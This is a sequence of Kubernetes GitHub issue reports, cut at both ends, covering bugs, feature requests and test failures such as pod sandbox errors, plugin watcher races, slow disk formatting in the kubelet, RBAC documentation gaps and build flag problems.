cpu: \ 100m\ \r                 memory: \ 1000m\ \r    \r \r that's quite a lot of memory for a small job!!\r \r i also did the same in a locally running minikube.  the same problem occurs.\r \r   anything else we need to know?  :\r \r  kubectl describe  on the a pod shows this:\r \r    \r events:\r   type     reason                  age                from                                          message\r   ----     ------                  ----               ----                                          -------\r   normal   scheduled               40s                default-scheduler                             successfully assigned hello-1517238540-hh5j7 to gke-meters-pool-4vcpu-2fc6d3d5-9vs2\r   normal   successfulmountvolume   40s                kubelet, gke-meters-pool-4vcpu-2fc6d3d5-9vs2  mountvolume.setup succeeded for volume \ default-token-37dps\ \r   warning  failedcreatepodsandbox  29s  x8 over 39s   kubelet, gke-meters-pool-4vcpu-2fc6d3d5-9vs2  failed create pod sandbox.\r   warning  failedsync              29s  x8 over 39s   kubelet, gke-meters-pool-4vcpu-2fc6d3d5-9vs2  error syncing pod\r   normal   sandboxchanged          28s  x8 over 38s   kubelet, gke-meters-pool-4vcpu-2fc6d3d5-9vs2  pod sandbox changed, it will be killed and re-created.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5-gke0  and 1.9 for minikube \r - cloud provider or hardware configuration: google cloud platform\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

to graduate taints/tolerations to beta, we should make tolerations wildcard-able, so that we can have a toleration that tolerates all taints with certain key and effect.\r \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r \r  attachablevolumeplugin  has a  getdevicemountrefs  method that used to check if a device can be safely umounted or not. currently, this method has the same implementation for all plugins, looks like this:\r \r    go\r func  plugin  awselasticblockstoreplugin  getdevicemountrefs devicemountpath string     string, error  {\r \tmounter := plugin.host.getmounter plugin.getpluginname   \r \treturn mount.getmountrefs mounter, devicemountpath \r }\r    \r \r so maybe we can implement this check inside  generateunmountdevicefunc  instead of inside each volume plugins. this can make the  attachablevolumeplugin  interface more simple.

sometimes we switch the golang versions towards the end of the release which is problematic.\r \r for 1.13, can we please switch over to golang 1.11.0 early in the cycle?\r \r cc @ixdy @cblecker @bentheelder

what happened  :\r \r a race condition in the plugin watcher might happen when a  pluginwatcher.watcher  is created, started and immediately stopped and cleaned up. if executed several times, the unit test  testnewmanagerimplstartprobemode  will expose this issue.\r \r the pr  71440 addressed part of the problem by serializing the handling of create and delete events. however, a race might still happen in the  pluginwatcher.traverseplugindir  function. https://github.com/kubernetes/kubernetes/pull/71440 discussion_r236798644 describes in detail the problem.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   create a binary\r $ go test -c k8s.io/kubernetes/pkg/kubelet/cm/devicemanager -run  ^testnewmanagerimplstartprobemode$\r \r   run the test in a loop until it fails\r $ while ./devicemanager.test -test.failfast=true ; do :; done\r    \r \r  

the logging level of a gce e2e cluster is set at v4, while a gke e2e cluster maintains the regular v2. this makes debugging gke build failures more difficult than necessary.   for gce, the logging level is set in  configure-vm.sh  https://github.com/kubernetes/kubernetes/blob/d8be60ee57fc442ed19acc65060f615bf4accf48/cluster/gce/configure-vm.sh l313 . i am not sure what's the best way to do the equivalent for gke.

i deployed dns, but i get the following results, when i delete the svc, cannot be parsed,what should i do with a problem with this, and thank you kubelet --version kubernetes v1.4.0+a16c0a7 ! image  https://cloud.githubusercontent.com/assets/14834177/19307342/807dc300-90ac-11e6-9714-1836fa3385e8.png

45614 augmented cri with container stats method. \r  -     make cadvisor   pkg/kubelet/cadvisor   implement the container stats part of the summary api   pkg/kubelet/server/stats  .\r  -     refactor kubelet to have the flexibility to consume container stats either from cadvisor or from cri.\r \r we may also need to modify cadvsior to report uuid for the as the storage identifier.\r \r related issues:\r  - imagefs implementation   33048 \r  - previous meta issue:  27097. \r /cc @dchen1107 @feiskyer @random-liu

when running api servers behind proxies, most of our clients  anything depending on rest client  is very good at not dropping connections.  however, this means that in the event one of the backing api servers is rate limited, the api server  stays  rate limited because clients never rebalance.\r \r ! graph  https://www.dropbox.com/s/pdmkchoaya4wn6v/screenshot%202017-07-06%2017.52.44.png?raw=1 \r \r the graph below is 3 api servers with rate limits set to 400.  about 250 nodes are connecting to the api servers, and the controllers are picking one in particular and sending all traffic there  to ensure coherent caches .  however, before a rolling restart of the masters at 21:20,  most  of the traffic in the cluster is going to a single apiserver.  and it never rebalances until that \ hot\  server is restarted at 21:20, at which point clients randomly get distributed by the elb.  this is not an elb problem, because the clients themselves establish and hold tcp connections.\r \r the general problem is that clients are too good at staying connected, even if they're getting a lot of 429.  i'd like to change the server to close connections with some fixed  dynamic?  probability if there is a 429, on the principle that overloaded servers will then shed load.  this would only make sense on a multi-apiserver setup.\r \r @kubernetes/sig-scalability-bugs @jeremyeder \r

@wojtek-t   pr  5205 introduced a deadlock in kubelet. syncstatus function was holding podlock when calling another function that tried to lock it. this bug was caught by e2e tests, but should easily be caught by integration tests.

currently the  service e2e tests  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network/service.go  are highly coupled to specific cloud providers  mainly gce and gke . we need to have the ability to run the service e2e tests for any cloud provider in a declarative rather than imperative way  see below example \r \r https://github.com/kubernetes/kubernetes/blob/c933067cd3cfa81349446b929816f732aa145b90/test/e2e/network/service.go l487-l498\r \r i'm not sure the best way to do this. part of me thinks it'd be easier to start fresh in some ways, but i'm new to this part of the code base so guidance is welcomed!\r \r here are some thoughts i have pertaining to the tests:\r   providers should have the ability to cleanup resources after each test. currently only  gce  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network/service.go l60  has support for this.  kubetest  is great for the macro level of e2e tests but doesn't help with per test cleanup. \r   providers should be able to specify the tests they _can_ run in a declarative way. that way if one cloud provider supports udp and another doesn't we can account for that. \r   we should have a minimal set of e2e tests that all providers should run similar to node conformance tests. \r \r cc @wlan0 @luxas @mrhohn \r \r  /area cloudprovider\r    \r xref  48690

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r now only support canary deployments\r use canary deployments need two yaml files. \r if has more project need canary，will double yaml  file.\r \r   what you expected to happen  :\r more deployments\r like one deployment  deploy pod that supports different versions of proportion.\r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   add more e2e tests for multizone pds.\r   align with ongoing volume topology work.\r \r  /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r download the kube release source artifact from https://dl.k8s.io/v1.9.3/kubernetes-src.tar.gz and do a build.  all the kube binaries have a extraneous comma in the version:\r $ /usr/bin/kube-proxy --version\r kubernetes v1.9.3,\r \r \r \r   what you expected to happen  :\r \r kube binaries built from git archive source tgz to show the correct version without extra comma.\r \r \r this was introduced in https://github.com/kubernetes/kubernetes/pull/55353\r git attribute export-subst on https://github.com/kubernetes/kubernetes/blob/v1.9.3/hack/lib/version.sh l48  creates a string format like ''head -> release-1.9, tag: v1.9.3, origin/release-1.9' . so,  the regex capture should ignore ','  \r \r @david-mcmahon @ixdy @lavalamp

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r when trying to get pod logs through the api with  accept: application/json , the returned value is not valid json. the value should be a string, which in json needs to be quoted. the returned value is not quoted, which means it cannot be parsed as json.\r \r this means, for example, that the haskell bindings in https://github.com/kubernetes-client/haskell which i was using cannot access logs, as they will always result in a parse error.\r \r moreover, the result - which looks like simple text - cannot be pulled as  text/plain  as the kubernetes cluster responds that only  application/json ,  application/yaml  and  application/vnd.kubernetes.protobuf  are allowed.\r \r   what you expected to happen  :\r i expect that when  get ting with  accept: application/json  for pod logs, the result should be valid json. also, when returning just text,  text/plain  should be an allowed content type.\r \r   how to reproduce it  as minimally and precisely as possible   :\r to see invalid json:\r  curl  host:port /api/v1/namespaces/ namespace /pods/ pod /log -h \ accept: application/json\  \r to see text/plain disallowed:\r  curl  host:port /api/v1/namespaces/ namespace /pods/ pod /log -h \ accept: text/plain\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r minikube version: v0.25.0\r \r

 \r i'm trying find a general improvement in kubernetes to solve \ not-so-ha\  use-cases. deleting a pod before having a replacement as ready as possible is problematic in multiple scenarios.\r \r 1. a deployment manages a non-ha application, say a remote 500mb image  ie  gitlab/gitlab-ce  . any upgrade means  1  the pod is deleted,  2  the new pod is created and scheduled on a new node  3  the new image takes 1h to be downloaded  4  the new pod is started; this scenario means 1h downtime.\r 2. the same use case for a statefulset  harder to solve .\r 3. a daemonset manages bootstrap-checkpointed api server or controller manager, in a non-ha configuration. any upgrade means  1  the pod is deleted,  2  the api is taken down,  3  the cluster is down and the  manual  recovery is going to require harvesting the daemonset directly from etcd to create a manifest.\r \r my thoughts boil down to the idea of a new pod status:  prepared . a pod is said  prepared if all its container's images are downloaded, and all non-rwo volumes are attached/mapped. it is assumed that ip assignment is fast so it's not required for the prepared status.\r \r using this information, a replicaset could have a  status.preparedreplicas , and the deployment controller could use this information to scale down the previous rs, solving  1 .\r \r if the daemonset controller adds, for instance, an annotation like  kubernetes.io/replace-pod=my-app-vx4gg , the kubelet can stop the previous pod and start the new one in a standalone way, just by reading its list of pods, solving  3 .\r \r by combining those 2 behaviours, it is possible to solve the statefulset problem by creating a \ shadow\  pod  say  gitlab-0-shadow  , have it prepared, delete  gitlab-0 , and schedule the new  gitlab-0  pod on the same node with the annotation  kubernetes.io/replace-pod=gitlab-0-shadow .\r \r any thoughts on this?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r after granting sp access to azure acr , pull image from acr would fail, and after wait about 15-30min, pull image would success. root cause is that  serviceprincipaltoken  needs to be refreshed when doing  registryclient.list , otherwise it will always return empty registry list.\r \r related issue:\r https://github.com/azure/aks/issues/442\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7 - v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r @khenidak @brendandburns @feiskyer @karataliu \r \r i will implement that function.

   \r   what happened  :\r i'd like to have some kind of an indication on which nodes cpu manager is running\r \r   what you expected to happen  :\r users should be able to distinguish between the nodes that have cpu manager running and those that aren't, so they'll be able to schedule workloads on nodes with a running cpu manager.\r \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

>  \r \r   what happened  :\r when building kubernetes from source for 1.10 it was possible to limit the parallel linker calls using goflags=\ -p 1\ .  i understand that the new format is goflags=\ -p=1\  so i am using that \r with kubernetes 1.11 the build aborts:\r \r    \r go test: p flag may be set only once\r run \ go help test\  or \ go help testflag\  for more information\r !!!  1021 19:40:30  call tree:\r !!!  1021 19:40:30   1: /home/tkruse/kubernetes/src/kubernetes-1.12.0/hack/lib/golang.sh:735 kube::golang::build_binaries_for_platform ... \r !!!  1021 19:40:30   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  1021 19:40:30  call tree:\r !!!  1021 19:40:30   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  1021 19:40:30  call tree:\r !!!  1021 19:40:30   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make:      makefile:92: all  error 1\r ==> error: a failure occurred in build  .\r     aborting...\r    \r \r   what you expected to happen  :\r the build should complete, using just one process for linking.\r \r   how to reproduce it  as minimally and precisely as possible   :\r export goflags=\ -p=1\ \r make -j1\r \r   anything else we need to know?  :\r the environment is quite memory constrained, therefore preventing the build to fork a linker for each cpu is required. any other option instead of the goflags would work as well.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\\\r 1.12.0\r - os  e.g. from /etc/os-release :\r arch linux arm\r \r - others:\r go version go1.11.1 linux/arm64\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r user has role binding to  clusterroles/admin  in the namespace.\r    \r $ kubectl rollout undo statefulset foo\r error: unable to find history controlled by statefulset foo: controllerrevisions.apps is forbidden: user \ bar\  cannot list controllerrevisions.apps in the namespace \ baz\ \r    \r   what you expected to happen  :\r to roll back successfully.\r   how to reproduce it  as minimally and precisely as possible   :\r a 1.10 cluster  haven't tested 1.11 but i suspect it's the same  and a 1.12  kubectl \r   anything else we need to know?  :\r it seems that the built in  admin  and  edit  clusterroles don't cover  controllerrevisions.apps , which is needed in >=1.12 for  kubectl  to interact with revision history?\r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r $ kubectl version --short\r client version: v1.12.2\r server version: v1.10.8\r    \r - install tools: self-written ansible roles\r \r <!-- do not edit below this line -->\r    

as the load of the controller increases it will not scale in a master slave setup of the clusters.\r in case of peer to peer all nodes can respond as masters increasing the scaling capacity.

we link to the 101 guide  https://github.com/googlecloudplatform/kubernetes/blob/master/examples/walkthrough/readme.md volumes  from various getting started guides and it has a git-monitor example that can be confusing, since all you're going to end up with is:      pod       ip           container s    image s                  host                         labels    status                created     message www       172.17.0.2                                           fed-minion1/10.240.187.175   <none>    pending               3 seconds                           nginx          nginx                                                           running  not ready    2 seconds                           git-monitor    kubernetes/git-monitor                                          waiting                           error: image kubernetes/git-monitor:latest not found      can we upload the git-monitor or change it to another working example? imho we shouldn't introduce volumes before labels,rcs and services. as soon as someone creates a new pod they most proabably want visual verification that it works.   @brendanburns

today, it's very hard to do proper error handling in the  attach ,  exec ,  logs , and  run  commands for short running commands  those that run, print output, and then exit rapidly .  that is mostly due today to the kubelet not returning structured, known errors back to the apiserver in these scenarios in a way that the caller can react to the pod terminating / restarting before the attach call completes.  we started stitching in the  logs  flag to allow attach to fetch logs instead of opening stdout - but we need to normalize and manage that from the attach client so that it's clear that the operation will succeed.  the end result today with these races is errors like:      f0215 16:46:02.580615   83601 helpers.go:104  error: error executing remote command: error executing command in container: container not found  \ mysql\        which aren't very useful to end users.

running the default gce e2e setup at head:      ginkgo_parallel=y go run hack/e2e.go -v --up --test '--test_args=--ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ ' ... summarizing 4 failures:   fail   k8s.io  addon update  beforeeach  should propagate add-on file changes  /users/cjcullen/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/addon_update.go:208   fail   k8s.io  ssh  it  should ssh to all nodes and run commands  /users/cjcullen/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/ssh.go:65   fail   k8s.io  kubectl client  k8s.io  simple pod  it  should support exec through an http proxy  /users/cjcullen/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:263   fail   k8s.io  services  it  should be able to up and down services  /users/cjcullen/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/service.go:248  ran 162 of 274 specs in 545.982 seconds fail! -- 158 passed | 4 failed | 0 pending | 112 skipped

only the generated conversions handle it properly, which fails if we run conversions outside of generation.  moderately low priority.

here's logs from  kubelet  formatting a 10gb hdd disk in azure as ext4:      aug 17 07:30:22 colemick-kany04-node-0 docker 6700 : i0817 07:30:22.450752    6891 mount_linux.go:342  disk \ /dev/sdc\  appears to be unformatted, attempting to format as type: \ ext4\  with options:  -e lazy_itable_init=0,lazy_journal_init=0 -f /dev/sdc   aug 17 07:37:52 colemick-kany04-node-0 docker 6700 : i0817 07:37:52.538305    6891 mount_linux.go:347  disk successfully formatted  mkfs : ext4 - /dev/sdc /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubetestdisk0  aug 17 07:37:52 colemick-kany04-node-0 docker 6700 : i0817 07:37:52.592955    6891 operation_executor.go:720  mountvolume.mountdevice succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ disk-azuredisk\   pod \ cddd37fc-644b-11e6-88b3-000d3af71bc2\   uid: \ cddd37fc-644b-11e6-88b3-000d3af71bc2\  .                                                                                                                                                                   aug 17 07:37:52 colemick-kany04-node-0 docker 6700 : i0817 07:37:52.599067    6891 operation_executor.go:755  mountvolume.setup succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ disk-azuredisk\   pod \ cddd37fc-644b-11e6-88b3-000d3af71bc2\   uid: \ cddd37fc-644b-11e6-88b3-000d3af71bc2\  .      it took seven and a half minutes to complete  mkfs .  here's me doing it manually from the node:      kube@colemick-kany04-node-0:~$ time sudo mkfs.ext4 -e lazy_itable_init=0,lazy_journal_init=0 -f /dev/sdc mke2fs 1.42.13  17-may-2015  /dev/sdc contains a ext4 file system         created on wed aug 17 07:52:59 2016 discarding device blocks: done creating filesystem with 2621440 4k blocks and 655360 inodes filesystem uuid: 3fedd79f-3064-48ad-9c94-990d6ae83d2d superblock backups stored on blocks:         32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632  allocating group tables: done writing inode tables: done creating journal  32768 blocks : done writing superblocks and filesystem accounting information: done   real    0m3.388s user    0m0.020s sys     0m0.232s      and even from a container, somewhat emulating kubelet:      kube@colemick-kany04-node-0:~$ sudo docker run -it --privileged -v /dev:/dev ubuntu:xenial root@3f3c3f796fa9:/  time mkfs.ext4 -e lazy_itable_init=0,lazy_journal_init=0 -f /dev/sdc mke2fs 1.42.13  17-may-2015  /dev/sdc contains a ext4 file system         created on wed aug 17 07:53:13 2016 discarding device blocks: done creating filesystem with 2621440 4k blocks and 655360 inodes filesystem uuid: 98c150f0-17b4-4ebe-8e9c-31506722a785 superblock backups stored on blocks:         32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632  allocating group tables: done writing inode tables: done creating journal  32768 blocks : done writing superblocks and filesystem accounting information: done   real    0m3.421s user    0m0.024s sys     0m0.224s        kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : azure -   os    e.g. from /etc/os-release : ubuntu  xenial  16.10 -   kernel    e.g.  uname -a  : linux 3f3c3f796fa9 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : kubernetes-anywhere / static pods with kubelet / kubelet in container    what happened  : it took seven and a half minutes to format, causing the overall pod startup time to take over 10 minutes by time attachment occurred    what you expected to happen  : it to take a matter of seconds, similar to how it does if i execute the command manully.    how to reproduce it    as minimally and precisely as possible : build  kubernetes  with  the azure disk pr  https://github.com/kubernetes/kubernetes/pull/29836  on top. deploy a cluster. try to attach an unformatted vhd. observe  watch -n1 \ ps ax | grep mkfs  along with watching  kubelet  logs and confirm it really does take that long.    anything else do we need to know  : i'm running  kubelet  containerized. like this: https://github.com/kubernetes/kubernetes-anywhere/blob/f3c6143cfebf97d11bf36191721ea528a63e01a8/phase2/ignition/vanilla/kubelet.service

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-alpha-features/997/  failed:  k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work for type=loadbalancer  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1167 nov  7 12:56:56.045: health check node port 31302 not released on node gke-jenkins-e2e-default-pool-125a304b-8s6u:  attempt 0 error <nil> attempt 1 error <nil> attempt 2 error <nil> attempt 3 error <nil> attempt 4 error <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1148

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/2948/  failed:  k8s.io  network should set tcp close_wait timeout {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kube_proxy.go:204 expected     <float64>: 33 to be <     <int>: 10 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kube_proxy.go:203       previous issues for this test:  36288

kubernetes version    use  kubectl version  : any\r \r   environment  :\r -   cloud provider or hardware configuration  : macbook pro\r -   os    e.g. from /etc/os-release : os x 10.12.3\r -   kernel    e.g.  uname -a  : darwin 16.4.0\r -   install tools  : \r -   others  : docker 1.13.0\r \r \r   what happened  :\r \r i am trying to build the  fluentd-es  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image  image locally to add a new fluentd plugin along with the kubernetes_metadata_filter and elasticsearch plugins.\r \r the build produces a broken image because the fluentd addons don't get installed, errors below caused starting  line 33 in build.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image/build.sh l33 :\r \r    \r error:  could not find a valid gem 'fluent-plugin-kubernetes_metadata_filter'  = 0.24.0 , here is why:\r           unable to download data from https://rubygems.org/ - ssl_connect returned=1 errno=0 state=error: certificate verify failed  https://api.rubygems.org/specs.4.8.gz \r \r error:  could not find a valid gem 'fluent-plugin-elasticsearch'  = 1.5.0 , here is why:\r           unable to download data from https://rubygems.org/ - ssl_connect returned=1 errno=0 state=error: certificate verify failed  https://api.rubygems.org/specs.4.8.gz \r    \r \r   what you expected to happen  :\r \r find the proper way of solving this and build the addon image.\r \r   how to reproduce it    as minimally and precisely as possible :\r    sh\r git clone https://github.com/kubernetes/kubernetes.git\r docker build -t fluentd-es kubernetes/cluster/addons/fluentd-elasticsearch/fluentd-es-image\r    \r \r   anything else we need to know  :\r \r it seems like this happens because rubygems.org changed certificates in october 2016, but i have no experience with ruby and their ecosystem, so i can't tell whether the  manual solution  http://guides.rubygems.org/ssl-certificate-update/ manual-solution-to-ssl-issue  described here is acceptable, or a more substantial update to the image is required.\r \r  http://guides.rubygems.org/ssl-certificate-update/  http://guides.rubygems.org/ssl-certificate-update/

the new rbac documentation includes a section that enumerates the  default roles and role bindings  https://kubernetes.io/docs/admin/authorization/rbac/ default-roles-and-role-bindings , which is very helpful. however, it doesn't explain how a component should be configured to actually authenticate as a member of one of these groups.\r \r specifically, the following auth groups are included in the tables:\r \r   system:authenticated\r   system:unauthenticated\r   system:masters\r   system:kube-scheduler\r   system:kube-controller-manager\r   system:nodes\r   system:kube-proxy\r \r  i happen to know that system:authenticated and system:unauthenticated are automatically added to incoming requests as appropriate, but this is never mentioned in the linked document. \r \r traditionally, cluster setup tools have not created separate client certificates for all of the core kubernetes components, but the default cluster roles and cluster role bindings suggest much more granular authentication. the documentation should explain:\r \r   the  --authorization-rbac-super-user  option to the api server has been removed and replaced with the system:masters group. how should a user authenticate as a member of this group? should credentials that place them in that group be created via normal means  e.g. creating a client certificate  or is this membership determined some other way?\r   how is a given kubernetes core component or add on determined to be a member of one of these groups? does each one need its own credentials, or is there some magical way that a components can authenticate as a member of the correct group without configuration?  this is kind of a generalization of the previous bullet point. \r   how do the various cluster creation tools  kops, kubeadm, etc.  actually provision credentials for each component?\r   what are the requirements for creating system component credentials for those of us building clusters from scratch without one of the official tools?\r   what happens if a system component is _not_ configured to be a member of a group that would bind it to the appropriate role?  for example, what happens if the controller manager is started without credentials that assign it the system:kube-controller-manager group? does it completely fail? and what about the per-control-loop controller manager roles like system:controller:replication-controller? there's no explanation of how to create credentials for the controller manager such that different credentials are used for each control loop. how is this expected to work? \r   there are also quite a few cluster roles with the \ system\  prefix that don't have a default cluster role binding, even though they are clearly intended for a specific component, such as heapster and the node problem detector. it's not clear how what the cluster administrator is expected to do when installing an add on component that maps to one of these roles/bindings. is the add on itself supposed to provide instructions on adding appropriate role bindings? if so, why are the roles included by kubernetes itself and not the add on? this should be explained so cluster administrators know what to expect.\r \r finally, the use of the \ system\  prefix on these roles/bindings/groups could be interpreted to mean that they are managed _by_ the system, and should never be modified by a cluster administrator. it's not clear if this prefix is just a way of grouping resources that are related to system functionality, or if they're supposed to be \ private\   in the sense of a private method in code.  it would be very helpful if the documentation clarified this.\r \r if someone can answer these questions here, i'd be happy to open a pr on the docs repo myself.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r bug report\r   kubernetes version    use  kubectl version  :\r this is on latest master, as of may 18\r \r   environment  :\r \r centos vm running on a mac\r \r -   cloud provider or hardware configuration  :\r hardware is macbook pro \r \r -   os    e.g. from /etc/os-release :\r  root@localhost kubernetes   cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r  root@localhost kubernetes   uname -a\r linux localhost.localdomain 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r running unit tests am seeing consistent failures: \r --- fail: testupdatenodewithmultiplepods  2.59s \r         taint_controller_test.go:485: starting testcase \ pods with different toleration times are evicted appropriately\ \r         taint_controller_test.go:511: sleeping for 499.999814ms\r         taint_controller_test.go:520: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:531: failed to deleted pod pod1 after 0\r         taint_controller_test.go:537: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:511: sleeping for 971.277715ms\r         taint_controller_test.go:551: pod pod1 was deleted even though it shouldn't have\r         taint_controller_test.go:485: starting testcase \ evict all pods not maching all taints instantly\ \r         taint_controller_test.go:511: sleeping for 499.999855ms\r         taint_controller_test.go:520: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:531: failed to deleted pod pod1 after 0\r         taint_controller_test.go:520: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:531: failed to deleted pod pod2 after 1\r         taint_controller_test.go:520: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:531: failed to deleted pod pod3 after 2\r         taint_controller_test.go:537: found not-delete action with verb list. ignoring.\r fail\r fail    k8s.io/kubernetes/pkg/controller/node   37.401s\r \r   what you 